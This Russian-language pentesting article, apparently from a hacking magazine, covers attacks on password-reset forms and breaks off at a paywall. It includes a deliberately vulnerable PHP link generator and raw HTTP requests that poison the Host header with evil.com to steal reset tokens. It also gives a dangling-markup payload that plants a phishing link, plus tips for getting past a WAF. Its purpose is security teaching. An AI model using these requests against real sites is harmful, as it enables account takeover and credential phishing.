Содержание статьи
Я занимаюсь анализом защищенности в Singleton Security. При проведении пентеста часто сталкиваюсь с формами сброса пароля. Кажется, что это простой и стандартный механизм. На деле же — уязвимости в восстановлении пароля приводят к полному захвату аккаунта, утечке конфиденциальных данных или перехвату управления сервером.
Атаки с использованием заголовка Host
Начнем с атак на подмену HTTP-заголовков. Такая атака возникает, когда заголовки генерируются на основе пользовательского ввода и сервер не проверяет эти данные должным образом. Хакер может внедрить свой контролируемый домен в ссылку для восстановления пароля.
Уязвимость часто встречается, когда части веб‑приложения находятся на разных доменах и пользователи привязываются к точному хосту:
- отдельные поддомены для разных языков;
- разбивка пользователей из разных стран по доменным зонам (.ru, .fr, .de и так далее);
- множественные домены — например, языковая школа может использовать что‑то вроде
eng-lang.,com de-lang.,com rus-lang..com
Чтобы подобный сервис стал уязвимым, разработчик должен забыть про белые списки и использовать прямую вставку домена в генераторе ссылок на восстановление пароля:
<?php// Небезопасное получение хоста из запроса$host = $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'];$resetLink = "https://{$host}/reset-password?token={$token}";Допустим, у нас есть сайт, уязвимый к подмене HTTP-заголовков, который отправляет ссылку для восстановления пароля вида https://. Мы можем создать такой запрос, чтобы получить токен пароля:
POST /recovery-pass HTTP/1.1Host: evil.comContent-Length: 24Content-Type: application/x-www-form-urlencodedemail=admin@vulncorp.com
Жертве придет ссылка на восстановление пароля с вредоносным доменом. Когда пользователь перейдет по ней, токен попадет в руки злоумышленника.
Если атака не сработала, пробуй различные дублирующие хедеры наподобие X-Forwarded-Host, X-HTTP-Host-Override и так далее.
Один из возможных подходов — дублирование заголовка Host. Прокси‑серверы обрабатывают дублированные заголовки по‑разному. В зависимости от прокси на выходе может быть отброшен первый или дублирующий заголовок либо выполнится join с разделением через запятую. Иногда может оказаться, что разработчики не предусмотрели такой сценарий и мы можем внедрить наш домен в ссылку, добавив еще один заголовок Host.
info
WAF или reverse-прокси могут блокировать запросы с дублированными заголовками или подозрительными значениями X-Forwarded-Host. Обход часто требует экспериментов с разными названиями заголовков (например, X-Original-Host, X-Rewrite-URL).
Бывают случаи, что сервер проверяет хедеры, но недостаточно безопасно. Возникает возможность внедрения висячей разметки (Dangling markup) — это вид атаки с инъекцией HTML-кода, предполагающий использование незакрытого тега или атрибута. Предположим, что заголовок Host валидируется, но есть возможность написать порт приложения. Этим мы и воспользуемся, отправив запрос такого вида:
POST /forgot-password HTTP/2
Host: vulncorp.com:443'></a> <a href="https://evil.com/login"> go to link </a> <type="hidden
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
username=admin
С помощью такой нагрузки мы можем создать фишинговую страницу с формой отправки данных на наш сервер. Пользователь, уверенный, что получил письмо от настоящей компании, перейдет по ссылке и введет данные от учетной записи. Тут остается сделать хорошую фишинговую страницу.
Но современные почтовые клиенты (такие как Gmail или Outlook) и антивирусные решения имеют мощные фильтры, которые находят и блокируют подобные письма, помещая их в спам или вообще не доставляя, так как HTML в заголовках выглядит подозрительно.
www
Попрактиковаться в атаках на заголовок Host можешь в лабораторных академии PortSwigger: Access control vulnerabilities, HTTP Host header attacks и Authentication.
Перед тем как анализировать содержимое, один из фильтров приводит HTML-код письма к «плоскому» и читаемому виду, аналогично тому, как это делает браузер. Все эти висящие <, <, < с белым цветом шрифта на белом фоне, элементы с display: или font-size: просто вычищаются. Остается только видимое текстовое содержимое. Извлекаются все ссылки письма, проверяются репутации URL-адресов и многое другое. Эта атака может сработать в корпоративных сетях со своими почтовыми серверами, где фильтрация менее строгая.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»
